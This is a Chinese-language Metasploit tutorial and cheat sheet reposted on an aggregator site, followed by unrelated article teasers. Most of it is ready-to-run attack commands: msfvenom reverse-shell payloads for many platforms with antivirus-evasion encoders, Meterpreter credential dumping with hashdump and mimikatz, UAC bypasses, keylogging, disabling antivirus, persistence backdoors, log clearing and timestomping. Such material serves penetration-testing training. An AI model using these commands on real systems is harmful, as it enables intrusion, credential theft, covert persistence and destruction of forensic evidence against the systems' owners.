MSF工具使用教程

news2024/9/26 15:04:48

Metasploit

简介

Metasploit 是一个漏洞框架,拥有超过 1700 个漏洞利用程序,大大简化了渗透测试的工作,同时具有模块化的体系结构,渗透测试人员可以很方便的添加或修改exploit。

安装及维护

安装

使用 Rapid7 的一套快速安装项目 metasploit-omnibus,可以实现一句话安装

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall

安装完成后位置 /opt/metasploit-framework/embedded/framework/

框架组成

Metasploit 主要包含了以下几个功能模块

  • msfconsole:整个框架最基本的模块,所有的功能都可以该模块下运行。
  • msfvenom:代替了 msfpayload 和 msfencode 的功能,效率更高。
  • msfupdate:用于软件更新,更新漏洞库和利用代码。
  • msfweb:Metasploit Framework 的 web 组件,支持多用户,是 Metasploit 图形化接口。

目录结构

modules
    - auxiliary     # 主要包含辅助性脚本(扫描、嗅探、注入、爆破,漏洞挖掘)
    - encoders      # 主要包含各种编码工具,以便绕过入侵检测和过滤系统
    - exploits      # 漏洞利用,包含主流的漏洞利用脚本,exp 命名规则:系统/服务/模块
    - nops          # 绕过针对溢出攻击滑行字符串的拦截检测
    - payloads      # 攻击荷载,主要在目标机器执行代码
    - post          # 此目录放着 msf 的 exploit 执行成功后,向目标发送的一些功能性指令,如提权,获取 hash 等
    - evasion       # 新增,用来生成免杀 payload,类似于集成 msfvenom 功能
data        # 存放 meterpreter ,passiveX,vnc,DLLs,等这些工具和一些用户接口代码,msfweb 和一些其他模块用到的数据文件
plugins     # 这里的模块用户需要 load 来加载,提供数据库连接插件和各种要用到的插件
scripts     # 这个目录下的文件大都是 meterpreter 这个模块利用的脚本,比如用到 migrate 来转移到其他进程的指令的源代码就在此
tools       # 包含一些有用的脚本和零散的工具

启动

msfconsole          # 运行
msfdb init          # 初始化数据库

更新

对于 kali 自带的 msf 可以使用 apt 更新

apt-get update
apt-get install -y metasploit-framework

嫌官方源速度慢可以添加阿里云的源

vim /etc/apt/sources.list

deb http://mirrors.aliyun.com/kali kali-experimental main non-free contrib
deb-src http://mirrors.aliyun.com/kali kali-experimental main non-free contrib

也可以直接使用 msfupdate

Module database cache not built yet, using slow search

注: 5.0.0 之后就不需要这个了

service postgresql start
msfdb init
db_rebuild_cache

添加一个新的 exploit

  1. /usr/share/metasploit-framework/modules/exploits/ 目录下新建一个自定义文件夹 aaatest,将 rb 脚本扔进去
  1. 启动 metasploit
  1. 输入 reload_all 重新加载所有模块
  1. use exploit/aaatest/exp(输入的时候可以用 tab 补全,如果不能补全说明就有问题)
msfvenom

msfvenom 可用于生成正向或反向 shell 的 payload,配合 meterpreter 使用进行渗透测试相当方便,不过在实际使用时,需要进行相应的免杀处理

查看

msfvenom -l [ payloads | encoders(编码模块) | nops | platforms(平台) | archs(架构) | encrypt(加密 | formats | all ]

连接

msfconsole
use exploit/multi/handler
set payload <payload-name>      # 例如 set payload windows/x64/meterpreter_reverse_tcp
set lhost <lhost>
set lport <lport>
set EnableStageEncoding false
set ExitOnSession false
exploit -j -z
binaries

linux

msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=your-ip lport=your-port -f elf > shell.elf

msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f elf -o x86_linux.elf

msfvenom -a x64 --platform Linux -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f elf -o x6_4linux.elf

msfvenom -a x64 --platform Linux -p linux/x64/shell_reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f elf-so -o payload.so

windows

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=xxxx -f exe > ./vu.exe

msfvenom --payload windows/meterpreter/reverse_tcp LHOST=********* LPORT=8080 -f exe --platform windows --arch x86 -e x86/shikata_ga_nai -i 10 > /var/www/html/update.exe

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.3.226 LPORT=6666 -a x86 --platform Windows -f dll >x86.dll

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.3.226 LPORT=6666 --platform Windows -f dll >x64.dll

mac

msfvenom -p osx/x86/shell_reverse_tcp lhost=your-ip  lport=your-port -f macho > shell.macho

msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f macho -o payload.macho

android

msfvenom -p android/meterpreter/shell_reverse_tcp lhost=your-ip  lport=your-port -f apk > shell.apk
web

php

msfvenom -p php/meterpreter_reverse_tcp lhost=your-ip lport=your-port -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

asp

msfvenom -p windows/meterpreter/reverse_tcp lhost=your-ip lport=your-port -f asp > shell.asp

Aspx

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f aspx -o payload.aspx

jsp

msfvenom -p java/jsp_shell_reverse_tcp lhost=your-ip lport=your-port -f raw > shell.jsp

war

msfvenom -p java/jsp_shell_reverse_tcp lhost=your-ip lport=your-port -f war > shell.war

javascript

msfvenom -p windows/shell_reverse_tcp lhost=your-ip lport=your-port -f js_le -e generic/none

msfvenom -p linux/x86/shell_reverse_tcp lhost=your-ip lport=your-port CMD=/bin/bash -f js_le -e generic/none

Nodejs

msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f raw -o payload.js
scripting

python

msfvenom -p cmd/unix/reverse_python lhost=your-ip lport=your-port -f raw > shell.py
msfvenom -p python/shell_reverse_tcp lhost=your-ip lport=your-port -f raw

jar

msfvenom -p java/meterpreter/reverse_tcp lhost=your-ip lport=your-port -f raw -o shell.jar

bash

msfvenom -p cmd/unix/reverse_bash lhost=your-ip lport=your-port -f raw > shell.sh

perl

msfvenom -p cmd/unix/reverse_perl lhost=your-ip lport=your-port -f raw > shell.pl

vbscript

msfvenom -p windows/meterpreter/reverse_tcp lhost=your-ip lport=your-port exitfunc=thread -f vbs -a x86 --platform windows > shell.vbs
C:\Documents and Settings\Administrator>cscript shell.vbs

Powershell

msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -e cmd/powershell_base64 -i 3 -f raw -o payload.ps1

msfvenom -a x86 --platform windows -p windows/powershell_reverse_tcp LHOST=192.168.3.226 LPORT=8888 -e cmd/powershell_base64 -i 3 -f raw -o x86_shell.ps1

msfvenom -a x64 --platform windows -p windows/x64/powershell_reverse_tcp LHOST=192.168.3.226 LPORT=8888 -e cmd/powershellbase64 -i 3 -f raw -o x64_shell.ps1

Ruby

msfvenom -p ruby/shell_reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f raw -o payload.rb

Lua

msfvenom -p cmd/unix/reverse_lua LHOST=192.168.3.226 LPORT=8888 -f raw -o payload.lua
shellcode

linux based shellcode

msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=your-ip lport=your-port -f <language>

windows based shellcode

msfvenom -p windows/meterpreter/reverse_tcp lhost=your-ip lport=your-port -f <language>

mac based shellcode

msfvenom -p osx/x86/shell_reverse_tcp lhost=your-ip lport=your-port -f <language>

msfencode
msfvenom windows/shell_reverse_tcp lhost=your-ip lport=your-port R -e x86/shikata_ga_nai -t exe -c -9 -x /usr/share/windows-bin

基本使用

启动

msfconsole -a 		# 退出Metasploit前询问或接受“exit-y”
msfconsole -H 		# 历史文件文件将命令历史记录保存到指定文件
msfconsole -o 		# 将文件输出到指定文件
msfconsole -p 		# 插件插件在启动时加载插件
msfconsole -q 		# 安静不要在启动时打印横幅	(静默启动)
msfconsole -r 		# 资源文件执行指定的资源文件(-对于stdin)
msfconsole -x 		# execute command命令执行指定的控制台命令(用于多个)
msfconsole -h 		# 帮助显示此消息
msfconsole -v 		# 显示版本信息

启动后

banner                          # 打印 banner
color ['true'|'false'|'auto']   # 切换颜色显示
back                            # 返回
use                             # 指定模块
info                            # 查看模块信息
sessions                        # 查看会话
jobs                            # 显示当前运行进程
kill                            # 结束进程
reload_all                      # 重新加载所有模块
search                          # 搜索模块
version                         # 显示当前版本

show exploits 			        # 查看所有可用的渗透攻击程序代码
show auxiliary 			        # 查看所有可用的辅助攻击工具
show options 			        # 查看该模块所有可用选项
show payloads 			        # 查看该模块适用的所有载荷代码
show targets 			        # 查看该模块适用的攻击目标类型

set                             # 设置一个特定的上下文变量的值
setg                            # 设置一个全局变量的值
threads                         # 查看和操作后台线程
unset                           # 取消设置一个或多个特定的上下文变量
unsetg                          # 取消设置一个或多个全局变量的

常用模块

信息收集

利用 auxiliary 这个模块来获取目标网端的信息,包括端口开放情况、主机存活情况.

use auxiliary/scanner/discovery/arp_sweep       # arp 扫描
use auxiliary/scancer/smb/smb_version           # 存活的 445 主机
use auxiliary/scanner/portscan/syn              # 端口扫描
use auxiliary/scanner/portscan/tcp              # TCP 端口扫描
use auxiliary/scanner/telnet/telnet_version     # telent 服务扫描
use auxiliary/scanner/rdp/rdp_scanner           # 远程桌面服务扫描
use auxiliary/scanner/ssh/ssh_version           # ssh 主机扫描
use auxiliary/scanner/smb/smb_version           # smb 服务扫描
use auxiliary/scanner/ip/ipidseq                # IPID 序列扫描器
use auxiliary/scanner/mssql/mssql_ping          # mssql
use auxiliary/scanner/http/webdav_scanner       # webdav

爆破

use auxiliary/scanner/mysql/mysql_login         # 爆破 mysql
use auxiliary/scanner/mssql/mssql_login         # 爆破 mssql
use auxiliary/scanner/ssh/ssh_login             # 爆破 SSH
use auxiliary/scanner/snmp/snmp_enum            # 枚举 snmp
use auxiliary/scanner/vnc/vnc_login             # 爆破 VNC
use auxiliary/scanner/http/tomcat_mgr_login     # 爆破 tomcat

meterpreter

Meterpreter 属于 stage payload,在 Metasploit Framework 中,Meterpreter 是一种后渗透工具,它属于一种在运行过程中可通过网络进行功能扩展的动态可扩展型 Payload。这种工具是基于 “内存 DLL 注入” 理念实现的,它能够通过创建一个新进程并调用注入的 DLL 来让目标系统运行注入的 DLL 文件。

首先目标先要执行初始的溢出漏洞会话连接,可能是 bind 正向连接,或者反弹 reverse 连接。反射连接的时候加载 dll 链接文件,同时后台悄悄处理 dll 文件。其次 Meterpreter 核心代码初始化, 通过 socket 套接字建立一个 TLS 加密隧道并发送 GET 请求给 Metasploit 服务端。Metasploit 服务端收到这个 GET 请求后就配置相应客户端。最后,Meterpreter 加载扩展,所有的扩展被加载都通过 TLS 进行数据传输。

Tips

可以将攻击代码写入 configure.rc(只要是以 .rc 结尾的文件)配置文件中,然后使用命令

msfconsole -r configure.rc

进行自动攻击

可以自己尝试写:给kali的Metasploit下添加一个新的exploit_kali exploit未建立-CSDN博客


获取会话

handler

use exploit/multi/handler
set payload windows/x64/meterpreter_reverse_tcp
set lhost [lhost]
set lport [lport]
exploit -j  # 后台执行

cmdshell 升级为 meterpreter

如果最开始获取的是 cmdshell,后来发现这台机器非常适合作为测试其它终端的跳板,这个时候 cmdshell 的功能已经不能满足需要,升级成 meterpreter 就十分有必要.sessions -u "id" 将该 cmdshell 升级成 meterpreter

注意事项

如果 meterpreter session 创建成功了,但很快就断连,此时应该修改使用的 payload,优先改成 generic/shell_reverse_tcp 等

如果还不成功,切换回连端口或者改成 bind shell 试试


信息收集

查看权限

getuid          # 查看当前用户
load powershell
powershell_shell
PS > Get-Acl -Path HKLM:\SAM\SAM | Format-List          # 查看 Users 或 Everyone 是否有 SAM 注册表项的读取权限

截屏

use espia
screenshot
screengrab

摄像头

webcam_snap -i 1 -v fales                               # 不开闪光灯拍照

环境检测

run post/windows/gather/checkvm                         # 是否虚拟机
run post/linux/gather/checkvm                           # 是否虚拟机

run post/windows/gather/enum_applications               # 获取目标主机安装软件信息;
run post/windows/gather/enum_patches                    # 查看目标主机的补丁信息;
run post/windows/gather/enum_domain                     # 查找目标主机域控.
run post/windows/gather/enum_logged_on_users            # 列举当前登录过主机的用户;
run post/windows/gather/credentials/windows_autologin   # 抓取自动登录的用户名和密码;

run post/windows/gather/forensics/enum_drives           # 查看分区
run post/windows/gather/enum_applications               # 获取安装软件信息
run post/windows/gather/dumplinks                       # 获取最近的文件操作
run post/windows/gather/enum_ie                         # 获取 IE 缓存
run post/windows/gather/enum_chrome                     # 获取 Chrome 缓存
run post/windows/gather/enum_patches                    # 补丁信息
run post/windows/gather/enum_domain                     # 查找域控

run post/linux/busybox/enum_hosts                       # 读取/var/hosts
run post/windows/gather/enum_hostfile                   # 读取 %windir%\system32\drivers\etc\hosts

抓取密码

run hashdump                        # 获取用户密码 hash 值

load mimikatz                       # 加载 mimikatz,用于抓取密码,不限于明文密码和 hash 值;
msv                                 # 获取的是 hash 值
ssp                                 # 获取的是明文信息
kerberos
wdigest                             # 读取内存中存放的账号密码明文信息
mimikatz_command -f samdump::hashes # 获取用户 hash
mimikatz_command -f handle::list    # 列出应用进程
mimikatz_command -f service::list   # 列出服务

run windows/gather/credentials/windows_autologin    # 抓取自动登录的用户名和密码
run windows/gather/smart_hashdump

或

use post/windows/gather/hashdump
set session 1
Exploit

sniffer

use sniffer
sniffer_interfaces                  # 查看网卡信息
sniffer_start 1                     # 开始在序号为1的网卡上抓包
sniffer_dump 1 xpsp1.cap            # 下载抓取到的数据包

对抓取的包进行解包

use auxiliary/sniffer/psnuffle
set pcapfile 1.cap
run

权限提升

getuid      # 查看当前权限
getsystem   # 提权
getuid      # 再次查看判断是否提权成功

绕过 UAC

通常 webshell 的权限都比较低,能够执行的操作有限,没法查看重要文件、修改系统信息、抓取管理员密码和 hash、安装特殊程序等,所以我们需要获取系统更高的权限

  1. 什么是 UAC?Microsoft 的 Windows Vista 和 Windows Server 2008 操作系统引入了一种良好的用户帐户控制架构,以防止系统范围内的意外更改,这种更改是可以预见的,并且只需要很少的操作量.它是 Windows 的一个安全功能,它支持防止对操作系统进行未经授权的修改,UAC 确保仅在管理员授权的情况下进行某些更改.如果管理员不允许更改,则不会执行这些更改,并且 Windows 系统保持不变.
  1. UAC 如何运行?UAC 通过阻止程序执行任何涉及有关系统更改/特定任务的任务来运行.除非尝试执行这些操作的进程以管理员权限运行,否则这些操作将无法运行.如果你以管理员身份运行程序,则它将具有更多权限,因为它将被"提升权限",而不是以管理员身份运行的程序.因为有的用户是没有管理员权限,没有管理员权限是运行不了那些只能通过管理员权限才能操作的命令.比如修改注册表信息、创建用户、读取管理员账户密码、设置计划任务添加到开机启动项等操作.最直接的提权命令 : getsystem绕过 UAC 防护机制的前提是我们首先通过 explloit 获得目标主机的 meterprter.获得 meterpreter 会话 1 后,输入以下命令以检查是否是 system 权限.这里直接上命令.我们需要把获取到的 session 保存到后台,执行 background
background
use exploit/windows/local/bypassuac
# 将通过进程注入使用可信任发布者证书绕过 Windows UAC.它将生成关闭 UAC 标志的第二个 shell.
sessions        # 查看目前的 session
sessions -k     # 杀死所有 session
set session     # 设为你需要 exploit 的 session
  • Windows 权限提升绕过 UAC 保护(内存注入)
background
use exploit/windows/local/bypassuac_eventvwr
set session 1
Exploit
  • 通过 COM 处理程序劫持此模块将通过在 hkcu 配置单元中创建 COM 处理程序注册表项来绕过 Windows UAC.当加载某些较高完整性级别进程时,会引用这些注册表项,从而导致进程加载用户控制的 DLL.这些 DLL 包含导致会话权限提升的 payload.此模块修改注册表项,但在调用 payload 后将清除该项.这个模块需要 payload 的体系架构和操作系统匹配,但是当前的低权限 meterpreter 会话体系架构中可能不同.如果指定 exe::custom,则应在单独的进程中启动 payload 后调用 ExitProcess().此模块通过目标上的 cmd.exe 调用目标二进制文件.因此,如果 cmd.exe 访问受到限制,此模块将无法正常运行.
background
use exploit/windows/local/bypassuac_comhijack
set session 1
Exploit
  • 通过 Eventvwr 注册表项此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动 Windows 事件查看器时调用的自定义命令来绕过 Windows UAC.它将生成关闭 UAC 标志的第二个 shell.此模块修改注册表项,但在调用 payload 后将清除该项.该模块不需要 payload 的体系架构和操作系统匹配.如果指定 EXE ::Custom,则应在单独的进程中启动 payload 后调用 ExitProcess().
background
use exploit/windows/local/bypassuac_eventvwr
set session 1
Exploit

利用系统漏洞提权

除了这些模块还有其它的通过直接通过 incognito 中的 add_localgroup_user 提升、ms13-081、ms15-051、ms16-032、MS16-016、MS14-068、ms18_8120_win32k_privesc 域权限提升等其它的权限提升方法.

background
use exploit/windows/local/ms13_081_track_popup_menu # 以 ms13-081 为例
set session
Exploit

# 或

background
use post/windows/gather/enum_patches
set session
Exploit

令牌假冒

在用户登录 windows 操作系统时,系统都会给用户分配一个令牌(Token),当用户访问系统资源时都会使用这个令牌进行身份验证,功能类似于网站的 session 或者 cookie.

msf 提供了一个功能模块可以让我们假冒别人的令牌,实现身份切换,如果目标环境是域环境,刚好域管理员登录过我们已经有权限的终端,那么就可以假冒成域管理员的角色.

getuid                              # 查看当前用户
use incognito                       # 进入该模块
list_tokens -u                      # 查看存在的令牌
impersonate_token [Username]        # 令牌假冒
# 注意用户名的斜杠需要写两个.

getuid                              # 查看是否切换成功

文件操作

操作文件系统

ls                  # 列出当前路径下的所有文件和文件夹.
pwd/getwd           # 查看当前路径
search              # 搜索文件,使用 search -h 查看帮助.
cat                 # 查看文件内容,比如 cat test.txt.
edit                # 编辑或者创建文件.和 Linux 系统的 vm 命令类似,同样适用于目标系统是 windows 的情况.
rm                  # 删除文件.
cd                  # 切换路径.
mkdir               # 创建文件夹.
rmdir               # 删除文件夹.
getlwd/lpwd         # 查看自己系统的当前路径.
lcd                 # 切换自己当前系统的目录.
lls                 # 显示自己当前系统的所有文件和文件夹.

上传和下载

upload [file] [destination]         # 上传文件到 Windows 主机
# 注意:使用 -r 参数可以递归上传上传目录和文件

download [file] [path to save]      # 从 windows 主机下载文件
# 注意:Windows 路径要使用双斜线
# 如果我们需要递归下载整个目录包括子目录和文件,我们可以使用 download -r 命令

搜索文件

search -f *config*

改变文件时间

timestomp -v a.txt                  # 查看 a 的时间戳
timestomp a.txt -f b.txt            # 使用 b 的时间覆盖 a 的时间

横向

域管理员嗅探

use post/windows/gather/enum_domain
set session 1
exploit

端口转发和内网代理

网络命令

Ipconfig/ifconfig                   # 查看目标主机 IP 地址;
arp -a                              # 用于查看高速缓存中的所有项目;
route                               # 打印路由信息;
netstat -na                         # 可以显示所有连接的端口

其中路由信息对于渗透者来说特有用,因为攻击机处于外网,目标主机处于内网,他们之间是不能通信的,故需要添加路由来把攻击机的 IP 添加到内网里面,这样我们就可以横扫内网,就是所谓的内网代理.

首先我们需要获取网段,然后再添加路由,添加成功后就可以横向扫描内网主机.

run get_local_subnets                   # 获取网段
run autoroute -s 192.168.205.1/24       # 添加路由
run autoroute -p                        # 查看路由
run autoroute -d -s 172.2.175.0         # 删除网段
run post/windows/gather/arp_scanner RHOSTS=7.7.7.0/24   # 探测该网段下的存活主机.
meterpreter > background                # 后台 sessions

或者自动化

use post/multi/manage/autoroute
set session 1
exploit

portfwd

portfwd 是 meterpreter 提供的端口转发功能,在 meterpreter 下使用 portfwd -h 命令查看该命令参数.

portfwd add -l 2222 -r 1.1.1.1 -p 3389  # 将 1.1.1.1 的 3389 端口转发到本地的 2222 端口.
    -l:本地监听端口
    -r:内网目标的 ip
    -p:内网目标的端口

portfwd delete -l [port]
portfwd list

例如:
portfwd add -r 127.0.0.1 -p 3389 -l 1234

pivot

pivot 是 msf 最常用的代理,可以让我们使用 msf 提供的扫描模块对内网进行探测.

route add [ip] [mask] [session id]      # 添加一个路由
route print

如果其它程序需要访问这个内网环境,就可以建立 socks 代理

msf 提供了3个模块用来做 socks 代理.

auxiliary/server/socks4a
auxiliary/server/socks5
auxiliary/server/socks_unc

use auxiliary/server/socks4a
SRVHOST:监听的 ip 地址,默认为 0.0.0.0,一般不需要更改.
SRVPORT:监听的端口,默认为 1080.

直接运行 run 命令,就可以成功创建一个 socks4 代理隧道,在 linux 上可以配置 proxychains 使用,在 windows 可以配置 Proxifier 进行使用.


权限维持

关闭防病毒软件

run killav

一个技巧是注入到 service.exe/svchost.exe 或 高权限杀软中 干掉 其他杀软

关闭进程

pkill [进程名]

键盘记录

keyscan_start   # 开启键盘记录功能
keyscan_dump    # 显示捕捉到的键盘记录信息
keyscan_stop    # 停止键盘记录功能

执行程序

execute -f [path] [options] # 在目标主机上执行 exe 文件
-H : 创建一个隐藏进程
-a : 传递给命令的参数
-i : 跟进程进行交互
-m : 从内存中执行
-t : 使用当前伪造的线程令牌运行进程
-s : 在给定会话中执行进程

进程迁移

当 meterpreter 单独作为一个进程运行时容易被发现,如果将它和系统经常运行的进程进行绑定,就能够实现持久化.

getpid          # 查看当前会话的进程 id
ps              # 查看目标运行的进程
migrate [pid]   # 绑定/迁移进程

后门

MSF 自带两种植入后门的方式

Meterpreter 的 shell 运行在内存中,目标重启就会失效,如果管理员给系统打上补丁,那么就没办法再次使用 exploit 获取权限,所以需要持久的后门对目标进行控制

  • metsvc 服务后门原理:命令运行成功后会在 C:\Users\用户名\AppData\Local\Temp 目录下新建随机名称的文件夹,里面生成3个文件(metsvc.dll、metsvc-server.exe、metsvc.exe)同时会新建一个服务,显示名称为 Meterpreter,服务名称为 metsvc,启动类型为"自动",绑定在 31337 端口.
# 自动化安装
run metsvc -A

use exploit/multi/handler
set payload windows/metsvc_bind_tcp
set rhost [lhost]
set lport 31337
exploit -j
  • persistence 启动项后门原理就是在 C:\Users\用户名\AppData\Local\Temp 下上传一个 VBS 脚本,通过该脚本,在注册表 HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ 下新建一个开机启动项
# 自动化部署
run persistence -A

run persistence -X -i 10 -r 192.168.1.9 -p 4444
-A : 安装后门后,自动启动 exploit/multi/handler 模块连接后门
-L : 自启动脚本的路径,默认为 %TEMP%
-P : 需要使用的 payload,默认为 windows/meterpreter/reverse_tcp
-S : 作为一个服务在系统启动时运行(需要 SYSTEM 权限)
-T : 要使用的备用可执行模板
-U : 用户登录时运行
-X : 系统启动时运行
-i : 后门每隔多少秒尝试连接服务端
-p : 服务端监听的端口
-r : 服务端 ip
use exploit/multi/handle
set payload windows/meterpreter/reverse_tcp
set LHOST [lhost]
set LPORT [lport]
exploit -j

RDP

run post/windows/manage/enable_rdp  # 开启 3389 远程桌面;
run post/windows/manage/enable_rdp username=xxx password=xxx    # 添加远程桌面的用户(同时也会将该用户添加到管理员组)

vnc

run vnc                             # 分段注入VNC DLL

注册表操作

通过注册表设置开机自启动

reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run

reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v note -d 'C:\Windows\System32\notepad.exe'

reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run

reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v note

通过注册表复制克隆用户

reg enumkey -k HKLM\\sam\\sam\\domains\\account\\users
shell
net user guest /active:yes
reg copy HkLM\sam\sam\domains\account\users\000001f4 HkLM\sam\sam\domains\account\users\000001f5

痕迹清除

clearev     # 入侵痕迹擦除

反电子取证

timestomp -v secist.txt                     # 查看当前目标文件 MACE 时间.
timestomp -f c:\\AVScanner.ini secist.txt   # 将模板文件 MACE 时间,复制给当前文件
timestomp -v secist.txt

stage 和 stageless 的区别

在 MSF 里有很相似的 metasploit payload,比如

payload/windows/x64/meterpreter/reverse_tcp  normal  No  Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
payload/windows/x64/meterpreter_reverse_tcp  normal  No  Windows Meterpreter Shell, Reverse TCP Inline x64

这2者有什么关系呢?以 08067 模块的利用为例

Stage

  • bootstrap(starger) : shellcode
  • metserv : Meterpreter 核心文件
  • stdapi : 计算机文件、系统、网络等属性的访问
  • priv : 权限提升、转储密码 hash 和本地提权

当我们使用 metasplit 的 ms08_067_netapi 模块之后,使用 payload/windows/meterpreter/reverse_tcp 模块,并开启一个 multi/handler 连接监听着我们本机的 4444 端口,有了解过缓冲区溢出的同学可能都知道,攻击者会利用软件的某个缺陷来传输一段很长的 shellcode 来溢出目标的缓冲区,从而控制 EIP 指针来跳转到我们的 shellcode 上,执行我们的代码,但是这段 shellcode 并不能过长,shellcode 过长,可能会导致覆盖到了上一函数栈帧的数据,导致异常的发生。所以像我们攻击者最希望就是生成一段短小精悍的 shellcode

像下面这张图,我们攻击机像目标靶机发送了一段 shellcode,并覆盖了 EIP,导致程序执行的时候跳回 shellcode 的开头,从而控制程序的执行情况,执行我们的恶意代码,这段恶意代码就只要干两件事,第一件事就是向内存申请开辟一块空间,第二件事就是回连我们的 4444 端口,这段 shellcode 为我们干的事情就好像是一个前排冲锋的战士,打开城墙的大门好让更多的精兵冲进来。我们称这段 shellcode 为 stage0,也就是第一阶段

这时,我们的攻击机,已经开始监听 4444 端口了,只要连接一成功,就会把 meterpreter shell 最核心的 dll 文件发送到靶机上

我们之前说过,当靶机运行了我们的 shellcode,会在内存里面开辟一块土地,这个地方就是为我们的 metsrv 留的,metsrv.dll 这个文件是 meterpreter 的核心组件,有了他,我们才能获取到一个 meterpreter shell,当 metsrv 传输成功之后,shellcode 就会把控制权转给 metsrv,metsrv 这时再去请求另外两个 dll 文件 stdapi 和 priv。这个时候目标就上线了.

Stageless

现在我们知道了 meterpreter/reverse_tcp 是分阶段的 shellcode,并且他分阶段的原因是因为在溢出攻击的时候 shellcode 应该尽可能保持得更短,这个时候理解他小兄弟 meterpreter_reverse_tcp 就方便的多,和 meterpreter/reverse_tcp 不同的是,他的小兄弟 meterpreter_reverse_tcp 是一个不分阶段的 payload,我们称之为 stageless(unstage),他在生成的时候就已经将我们获取一个 meterpreter 必须要用的 stdapi 已经包含在其中了。那这又有什么好处呢?试想一下,如果我们通过层层的代理,在内网进行漫游,这个时候使用分阶段的 payload 如果网络传输出现了问题,metsrv.dll 没有加载过去,可能就会错失一个 shell,stageless 的 payload 会让人放心不少

默认的 stageless payload 只会包含 stageless,所以如果想将 stdapi 和 priv 两个组件给包含进去的话我们可以用 extensions 命令:

msfvenom -p windows/meterpreter_reverse_tcp LHOST=172.16.52.1 LPORT=4444 EXTENSIONS=stdapi,priv -f exe -o stageless.exe

回弹至 nc

分阶段的 payload,我们必须使用 exploit/multi/handler 这个模块使用,但是当我们想回弹一个基础的 shell 的时候,其实可以使用 nc 来监听端口直接回连到 nc 上

当有时获取到了 root 权限,想反弹 linux shell 的时候,这时 meterprter 的需求就不是那么高了,我们就可以使用 shell_reverse_tcp(或者是 bind) 来生成一个 stageless 的 bash 脚本,直接使用 nc 来接受 shell

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.141.143 LPORT=4444 -f exe > ./vu.exe

nc 监听

nc -tvlp 4444

接收回弹

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2163678.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

js逆向--某建筑市场公共监管服务平台

js逆向--某建筑市场公共监管服务平台 一、抓包二、断点调试三、写代码一、抓包 很容易找到数据接口,发现响应加密了。 二、断点调试 打开源代码/来源界面,下一个XHR断点。 点击翻页,发现代码断住了。 发现到下图中的位置时,明文出现了。 点击上图中的图标进入b方法,找…

数据集-目标检测系列-自行车检测数据集 bike>> DataBall

数据集-目标检测系列-自行车检测数据集 >> DataBall 数据集-目标检测系列-自行车检测数据集 数据量&#xff1a;1W 数据项目地址&#xff1a; gitcode: https://gitcode.com/DataBall/DataBall-detections-100s/overview github: https://github.com/TechLinkX/Data…

mybatisplus 分页查询 使用ORDER BY 时可能数据重复

原始方法&#xff1a; 第一页数据&#xff1a; 第二页数据&#xff1a; 解决方案&#xff1a; 后面在添加一个唯一键 id

2024年信息学奥赛CSP-J初赛真题详细分析

CSP-J 2024 入门组初赛第一轮初赛试题及答案解析 一、 单项选择题&#xff08;共15题&#xff0c;每题2分&#xff0c;共计30分&#xff1a;每题有且仅有一个正确选项&#xff09; 1 32 位 int 类型的存储范围是&#xff08; &#xff09; A -2147483647 ~ 2147483647B -214…

OpenCV图像文件读写(1)检查 OpenCV 是否支持某种图像格式的读取功能函数haveImageReader()的使用

操作系统&#xff1a;ubuntu22.04 OpenCV版本&#xff1a;OpenCV4.9 IDE:Visual Studio Code 编程语言&#xff1a;C11 算法描述 haveImageReader 函数通常用于检查 OpenCV 是否支持某种图像格式的读取功能。在 OpenCV 中&#xff0c;haveImageReader 函数可以帮助确定是否可…

【探索智谱AI的CogVideoX:视频生成的新前沿】

2024年8月6日&#xff0c;智谱AI宣布其开源视频生成模型CogVideoX&#xff0c;激发了开发者的创造力和对新技术的期待。 一、CogVideoX模型概述 CogVideoX 是一款先进的视频生成工具&#xff0c;可基于最长 226 个 token 的提示生成视频&#xff0c;时长可达 6 秒&#xff0c;…

美化网页,特效

当阅读博客园的文章时&#xff0c;经常看到精美的特效 博客园美化 - 凌云 - 博客园 (cnblogs.com) 简直不要太好看 自己写了一个前后端分离的网站后&#xff0c;想着应用这些特效&#xff0c;毕竟别人看到特效后逼格还是挺高的 于是&#xff0c;我F12把代码拿了下来 【手动狗…

算法记录——树

二叉树 3.1二叉树的最大深度 思路&#xff1a;二叉树的最大深度 根节点的最大高度。因此本题可以转换为求二叉树的最大高度。 而求高度的时候应该采用后序遍历。遍历顺序为&#xff1a;左右中。每次遍历的节点按后序遍历顺序&#xff0c;先收集左右孩子的最大高度&#xff0c;…

SpringBoot Validation不生效该怎么办?

